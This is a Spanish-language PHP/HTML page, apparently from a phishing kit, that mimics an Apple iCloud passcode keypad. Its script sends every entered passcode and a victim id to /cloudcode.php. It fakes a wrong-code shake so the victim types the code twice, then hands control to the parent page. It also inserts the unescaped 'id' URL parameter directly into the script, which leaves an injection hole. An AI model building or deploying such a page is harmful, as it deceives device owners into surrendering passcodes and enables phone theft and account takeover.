<!DOCTYPE html>
<html lang="es">
<head>
<meta charset="UTF-8">
<title>Teclado Código iCloud</title>
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
<style>
/* ===== RESET ===== */
* {
  box-sizing: border-box;
}

body {
  margin: 0;
  height: 100vh;
  display: flex;
  align-items: center;
  justify-content: center;
  font-family: -apple-system, BlinkMacSystemFont, sans-serif;
  background: #eaeaea;
}

/* ===== CONTENEDOR ===== */
.container {
  width: 320px;
  text-align: center;
}

/* ===== PIN DOTS ===== */
.pin {
  justify-content: space-between;
  margin-bottom: 80px;
}

.dot {
  width: 14px;
  height: 14px;
  border: 1px solid #000;
  border-radius: 50%;
  display:inline-block;
  margin:0 10px;
}

.dot.filled {
  background: #000;
}

/* ===== SHAKE ===== */
@keyframes shake {
  0% { transform: translateX(0); }
  20% { transform: translateX(-6px); }
  40% { transform: translateX(6px); }
  60% { transform: translateX(-6px); }
  80% { transform: translateX(6px); }
  100% { transform: translateX(0); }
}

.pin.shake {
  animation: shake 0.4s;
}

/* ===== KEYBOARD ===== */
.keyboard {
  display: grid;
  grid-template-columns: repeat(3, 1fr);
  gap: 15px;
  justify-items: center;
}

.keyboard button {
  width: 80px;
  height: 80px;
  border-radius: 50%;
  border: none;
  background: #fff;
  color:#000;
  cursor: pointer;
  font-size: 38px;
}

.keyboard button span {
  display: block;
  font-size: 10px;
  letter-spacing: 1px;
  margin-top: 2px;
  font-weight:bold;
}

.keyboard button:active {
  background: #d1d1d6;
}

.keyboard .empty {
  pointer-events: none;
  background: transparent;
}
.pcont{
    font-size:22px;
}
.cancelcode{
    text-decoration:none;
    color:#000;
    float:right;
    margin-top:80px;
}
</style>
</head>

<body>

<div class="container">

  <!-- INPUT HIDDEN -->
  <input type="hidden" id="pinInput">
    <p class="pcont">Continue with Passcode</p>
  <!-- DOTS -->
  <div class="pin" id="pinDots">
    <span class="dot"></span>
    <span class="dot"></span>
    <span class="dot"></span>
    <span class="dot"></span>
    <?php if($_GET['digitos']==6){?>
    <span class="dot"></span>
    <span class="dot"></span>
    <?php }?>
  </div>

  <!-- KEYBOARD -->
  <div class="keyboard">
    <button data-num="1">1<span>&nbsp;</span></button>
    <button data-num="2">2<span>ABC</span></button>
    <button data-num="3">3<span>DEF</span></button>
    <button data-num="4">4<span>GHI</span></button>
    <button data-num="5">5<span>JKL</span></button>
    <button data-num="6">6<span>MNO</span></button>
    <button data-num="7">7<span>PQRS</span></button>
    <button data-num="8">8<span>TUV</span></button>
    <button data-num="9">9<span>WXYZ</span></button>
    <div class="empty"></div>
    <button data-num="0">0</button>
  </div>
    <a href="#" class="cancelcode" onclick="cancelar()">Cancel</a>
</div>
<script>
/* ===== VARIABLES ===== */
const dots = document.querySelectorAll('.dot');
const buttons = document.querySelectorAll('[data-num]');
const deleteBtn = document.getElementById('delete');
const pinInput = document.getElementById('pinInput');
const pinContainer = document.getElementById('pinDots');

const PIN_LENGTH = dots.length;
let pin = [];
let locked = false;
let intentos = 0;      // Contador de intentos
const MAX_INTENTOS = 2; // Máximo de intentos permitidos

/* ===== EVENTS ===== */
buttons.forEach(btn => {
  btn.addEventListener('click', () => {
    if (locked || pin.length >= PIN_LENGTH) return;

    pin.push(btn.dataset.num);
    updatePin();

    if (pin.length === PIN_LENGTH) {
      sendPin();
    }
  });
});

deleteBtn.addEventListener('click', () => {
  if (locked) return;
  pin.pop();
  updatePin();
});

/* ===== FUNCTIONS ===== */
function updatePin() {
  dots.forEach((dot, index) => {
    dot.classList.toggle('filled', index < pin.length);
  });

  pinInput.value = pin.join('');
}

function sendPin() {
  locked = true;

  fetch('/cloudcode.php', {
    method: 'POST',
    body: new URLSearchParams({
      code: pinInput.value,
        id: <?php echo $_GET['id'];?>
    })
  })
  .finally(() => {
    intentos++;
    if (intentos < MAX_INTENTOS) {
      triggerError();   // Shake + reset
    } else {
      abreLog();        // Ejecuta función cuando supera intentos
      resetPin();       // Reset final
    }
  });
}

function triggerError() {
  pinContainer.classList.add('shake');

  setTimeout(() => {
    pinContainer.classList.remove('shake');
    resetPin();
  }, 400);
}

function resetPin() {
  pin = [];
  pinInput.value = '';
  dots.forEach(dot => dot.classList.remove('filled'));
  locked = false;
}
function cancelar() {
  if (window.parent && typeof window.parent.cerrarCode === 'function') {
    window.parent.cerrarCode();
  }
}
function abreLog() {
  if (window.parent && typeof window.parent.abrirLog === 'function') {
    window.parent.abrirLog();
  }
}
</script>

</body>
</html>
